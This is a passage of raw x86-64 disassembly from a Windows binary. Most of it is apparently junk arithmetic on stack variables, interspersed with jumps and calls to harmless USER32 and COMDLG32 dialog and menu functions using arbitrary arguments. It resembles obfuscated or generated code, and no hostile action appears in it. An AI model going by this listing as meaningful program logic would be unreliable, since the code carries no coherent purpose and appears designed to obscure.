mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd88]
sar eax, cl
mov word [rsp + 0xe0c], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
xor eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
and eax, ecx
mov word [rsp + 0xe20], ax
movsx eax, word [rsp + 0xe24]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x3034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6128]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3240], eax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401482d0], ax
mov eax, dword [rsp + 0x3544]
add eax, 0x1d
mov dword [rsp + 0x3544], eax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6280]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x15c], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xd88]
add eax, ecx
mov word [rsp + 0xe14], ax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
movzx eax, word [rsp + 0xd88]
movzx ecx, word [rsp + 0xe0c]
shl eax, cl
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x6220]
mov ecx, dword [rsp + 0x3590]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x6188]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6260]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
sar eax, cl
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x6198]
mov ecx, dword [rsp + 0x3468]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x34dc], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15f]
sub eax, ecx
mov byte [rsp + 0x15a], al
mov rax, qword [rsp + 0x6100]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
sub eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15f]
add eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [0x140147004]
sub eax, ecx
mov word [rsp + 0xe24], ax
mov eax, dword [rsp + 0x3590]
mov ecx, dword [rsp + 0x34fc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6108]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6280], rax
mov rax, qword [rsp + 0x60c0]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
jmp 0x14000bf71
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15a]
xor eax, ecx
movzx ecx, byte [section..data]
movzx edx, byte [rsp + 0x15c]
or ecx, edx
cmp eax, ecx
je 0x14000c46f
movzx ecx, word [rsp + 0xe14]
call fcn.14012e470
nop
jmp 0x14000c57a
movzx eax, byte [rsp + 0x15a]
mov rcx, qword [rsp + 0x6240]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
mov dword [rsp + 0x359c], ecx
movzx edx, byte [rsp + 0x15f]
movzx ecx, dl
mov edx, dword [rsp + 0x359c]
shl edx, cl
mov ecx, edx
cmp eax, ecx
je 0x14000c57a
mov rax, qword [rsp + 0x6188]
mov rax, qword [rax]
mov qword [rsp + 0x6290], rax
movabs rax, 0x4bc550f14fe9170b
cmp qword [rsp + 0x6290], rax
je 0x14000c4dd
jmp 0x14000c55b
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6130]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
xor r9d, r9d
mov r8d, 0xf7
mov edx, 0xc4
mov rcx, qword [rsp + 0x6298]
call qword [sym.imp.USER32.dll_SetScrollPos]
mov dword [rsp + 0x349c], eax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x161], al
jmp 0x14000c57a
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6118]
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6220]
mov rdx, qword [rsp + 0x61d8]
mov edx, dword [rdx]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
jbe 0x14000c5f0
mov r8w, 0x51
mov rdx, qword [rsp + 0x62a0]
mov rcx, qword [rsp + 0x62a8]
call qword [sym.imp.COMDLG32.dll_GetFileTitleW]
mov word [rsp + 0xe1c], ax
lea rax, [rsp + 0xe24]
mov qword [rsp + 0x62b0], rax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov dword [rsp + 0x35a0], eax
cmp dword [rsp + 0x35a0], 0
je 0x14000c621
jmp 0x14012bbba
mov eax, dword [rsp + 0x3590]
mov rcx, qword [rsp + 0x61a0]
mov qword [rsp + 0x62b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe0c]
xor eax, ecx
mov word [rsp + 0xd88], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15d]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x161], al
mov eax, dword [rsp + 0x34a8]
add eax, 0x76
mov dword [rsp + 0x34a8], eax
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe24]
add eax, ecx
mov word [rsp + 0xe1c], ax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [rsp + 0x15f], al
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x6228]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6170]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x6130], rax
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3468]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6118]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
sub eax, ecx
mov byte [rsp + 0x15f], al
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe18]
sub eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x161]
sub eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6280]
movzx ecx, al
mov rax, qword [rsp + 0x6050]
shl rax, cl
mov qword [rsp + 0x5d58], rax
mov rax, qword [rsp + 0x61e0]
mov rcx, qword [rsp + 0x6130]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6148], rax
mov eax, dword [rsp + 0x348c]
mov rcx, qword [rsp + 0x6118]
mov qword [rsp + 0x62c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62c0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x34fc], eax
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140147004], ax
movsx eax, word [rsp + 0xe24]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x62b0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15e]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x15d]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6168]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6190]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
mov rax, qword [rsp + 0x6068]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x60c0]
mov rcx, qword [rsp + 0x6128]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6130]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6148], rax
mov eax, dword [rsp + 0x34bc]
mov ecx, dword [rsp + 0x3034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x60f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
sub eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60e0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x60d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15a]
shl eax, cl
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
movzx eax, word [rsp + 0xe0c]
movzx ecx, word [rsp + 0xe20]
sar eax, cl
mov rcx, qword [rsp + 0x60e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov word [rsp + 0xe24], ax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3034]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x6260]
mov rcx, qword [rsp + 0x6108]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6280], rax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401482d0], ax
cmp dword [rsp + 0x34a8], 0xb324
jb 0x14000c621
cmp dword [rsp + 0x34d4], 0xfa2d
ja 0x14000ce96
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe0c], ax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6060]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6160]
mov word [rcx], ax
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x60f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x15e], al
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
add eax, ecx
mov byte [rsp + 0x160], al
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6100]
mov byte [rcx], al
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
xor eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
mov eax, dword [rsp + 0x34d4]
add eax, 0x7f
mov dword [rsp + 0x34d4], eax
mov rax, qword [rsp + 0x6128]
mov ecx, dword [rsp + 0x34dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34bc]
mov rcx, qword [rsp + 0x6220]
mov qword [rsp + 0x62c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62c8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6148]
movzx ecx, al
mov rax, qword [rsp + 0x61e0]
shr rax, cl
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5d58]
mov rcx, qword [rsp + 0x6280]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6050], rax
mov rax, qword [rsp + 0x6098]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x60e8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe20]
sub eax, ecx
mov rcx, qword [rsp + 0x60f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
add eax, ecx
mov word [rsp + 0xe10], ax
mov rax, qword [rsp + 0x60d0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe24]
add eax, ecx
mov word [rsp + 0xe1c], ax
movsx eax, byte [rsp + 0x159]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x6058]
mov ecx, dword [rsp + 0x3240]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3468], eax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x6260]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6118]
mov ecx, dword [rsp + 0x3590]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6130]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6170]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15f]
shl eax, cl
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
mov rax, qword [rsp + 0x60d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe14]
sar eax, cl
mov word [rsp + 0xe20], ax
mov rax, qword [rsp + 0x62b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xe18], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xe20]
or eax, ecx
mov word [rsp + 0xd88], ax
movsx eax, byte [rsp + 0x161]
mov rcx, qword [rsp + 0x6098]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x160], al
mov rax, qword [rsp + 0x6220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3500]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15c]
add eax, ecx
mov byte [section..data], al
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6148], rax
mov rax, qword [rsp + 0x60e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe0c], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x160]
sub eax, ecx
mov byte [rsp + 0x159], al
mov rax, qword [rsp + 0x6160]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe18]
and eax, ecx
mov word [rsp + 0xe10], ax
jmp 0x14000cac0
movzx eax, word [rsp + 0xe0c]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
mov dword [rsp + 0x35a4], ecx
movzx edx, word [rsp + 0xd88]
movzx ecx, dl
mov edx, dword [rsp + 0x35a4]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000d02a
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x15f], al
movzx eax, word [rsp + 0xe0c]
mov dword [rsp + 0x35a8], eax
cmp dword [rsp + 0x35a8], 0x1d1
je 0x14000cf2c
cmp dword [rsp + 0x35a8], 0x8cd
je 0x14000cffd
jmp 0x14000d025
movsx eax, word [rsp + 0xe1c]
movsx ecx, word [rsp + 0xe10]
sub eax, ecx
movsx ecx, word [rsp + 0xe18]
mov rdx, qword [rsp + 0x60d0]
movsx edx, word [rdx]
and ecx, edx
cmp eax, ecx
jg 0x14000cfb7
mov rax, qword [rsp + 0x6240]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6168]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x60b8], rax
mov rax, qword [rsp + 0x6150]
mov rcx, qword [rsp + 0x6110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6128]
mov dword [rcx], eax
mov r9d, 0x73
mov r8d, 0xe8
lea rdx, [rsp + 0x1b360]
mov rcx, qword [rsp + 0x61f0]
call qword [sym.imp.USER32.dll_DlgDirSelectComboBoxExW]
mov dword [rsp + 0x35ac], eax
mov rax, qword [rsp + 0x6190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x15e]
add eax, ecx
mov byte [section..data], al
jmp 0x14000d025
lea r9, [rsp + 0x1a680]
mov r8d, 1
mov edx, 0x13
mov rcx, qword [rsp + 0x6288]
call qword [sym.imp.USER32.dll_InsertMenuItemW]
mov dword [rsp + 0x3584], eax
jmp 0x14000d0d2
mov rax, qword [rsp + 0x6118]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x34bc]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x3034]
shr edx, cl
mov ecx, edx
cmp eax, ecx
jne 0x14000d0d2
mov rax, qword [rsp + 0x61d8]
mov rcx, qword [rsp + 0x6220]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x61d8]
mov dword [rcx], eax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x62d0], rax
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x62b0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe24], ax
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd88], ax
lea rax, [rsp + 0x15c]
mov qword [rsp + 0x62d8], rax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x35b0], al
cmp byte [rsp + 0x35b0], 0xb3
je 0x14000d0ed
jmp 0x14000d153
movsx eax, word [rsp + 0xe1c]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x6108]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6050]
sar rax, cl
mov qword [rsp + 0x60b8], rax
mov r8d, 0xfc
lea rdx, [rsp + 0x1a860]
mov rcx, qword [rsp + 0x62e0]
call qword [sym.imp.USER32.dll_GetClassNameW]
mov dword [rsp + 0x349c], eax
jmp 0x14000d1bb
mov eax, dword [rsp + 0x348c]
mov ecx, dword [rsp + 0x3034]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x3590], eax
movzx eax, byte [rsp + 0x15f]
movzx ecx, byte [rsp + 0x15a]
or eax, ecx
mov byte [0x140147001], al
lea rax, [rsp + 0x6148]
mov qword [rsp + 0x62e8], rax
mov eax, dword [rsp + 0x34dc]
mov dword [rsp + 0x35b4], eax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x161]
shl eax, cl
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe24]
mov dword [rsp + 0x35b8], eax
cmp dword [rsp + 0x35b8], 0
je 0x14000d1ea
cmp dword [rsp + 0x35b8], 0x6af6
je 0x14012b9e7
jmp 0x14012bba2
cmp dword [rsp + 0x3530], 0x2adf
jbe 0x14000d749
mov rax, qword [rsp + 0x61d8]
mov ecx, dword [rsp + 0x3590]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6220]
mov dword [rcx], eax
mov eax, dword [rsp + 0x34dc]
movzx ecx, al
mov eax, dword [rsp + 0x349c]
shl eax, cl
mov dword [rsp + 0x3500], eax
mov rax, qword [rsp + 0x6060]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe10]
sar eax, cl
mov word [rsp + 0xe18], ax
movsx eax, word [rsp + 0xe24]
movsx ecx, word [rsp + 0xe18]
or eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
mov rax, qword [rsp + 0x60e8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x161]
xor eax, ecx
mov byte [rsp + 0x15b], al
movzx eax, byte [section..data]
movzx ecx, byte [rsp + 0x15e]
and eax, ecx
mov rcx, qword [rsp + 0x6258]
mov byte [rcx], al
mov rax, qword [rsp + 0x60f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x60d8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6068]
mov word [rcx], ax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x6050]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x60d0]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x1401482d0], ax
mov rax, qword [rsp + 0x61a0]
mov rcx, qword [rsp + 0x6118]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x34fc], eax
mov rax, qword [rsp + 0x6170]
mov rcx, qword [rsp + 0x61e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x62e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6258]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6190]
mov byte [rcx], al
movsx eax, word [rsp + 0xe10]
movsx ecx, word [rsp + 0xe1c]
sub eax, ecx
mov word [rsp + 0xe18], ax
movsx eax, byte [rsp + 0x160]
mov rcx, qword [rsp + 0x6100]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6098]
mov byte [rcx], al
mov eax, dword [rsp + 0x3530]
sub eax, 0x4c
mov dword [rsp + 0x3530], eax
movzx eax, word [rsp + 0xe20]
mov rcx, qword [rsp + 0x60f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xd88], ax
movzx eax, word [rsp + 0xe14]
movzx ecx, word [rsp + 0xd88]
or eax, ecx
mov word [rsp + 0xe0c], ax
mov rax, qword [rsp + 0x61a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6118]
mov qword [rsp + 0x62f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x62f0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x348c], eax
mov rax, qword [rsp + 0x6228]
mov rcx, qword [rsp + 0x5d58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x6108]
mov qword [rcx], rax
mov rax, qword [rsp + 0x62e8]
mov rcx, qword [rsp + 0x6148]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x6130], rax
mov eax, dword [rsp + 0x349c]
mov ecx, dword [rsp + 0x34dc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x15c]
movzx ecx, byte [rsp + 0x15f]
add eax, ecx
mov rcx, qword [rsp + 0x6240]
mov byte [rcx], al
movsx eax, byte [rsp + 0x158]
mov rcx, qword [rsp + 0x62d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x159], al
movsx eax, word [rsp + 0xe18]
mov rcx, qword [rsp + 0x6160]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6060]
mov word [rcx], ax
movzx eax, word [rsp + 0xe14]
mov rcx, qword [rsp + 0x6068]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x60d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x158]
movsx ecx, byte [rsp + 0x160]
add eax, ecx
mov byte [rsp + 0x15d], al
mov rax, qword [rsp + 0x6198]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x349c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x62e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6148]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x61e0], rax
mov rax, qword [rsp + 0x6188]
mov rcx, qword [rsp + 0x60b8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6188]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6220]
mov rcx, qword [rsp + 0x61a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x34bc], eax
mov rax, qword [rsp + 0x62b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe1c]
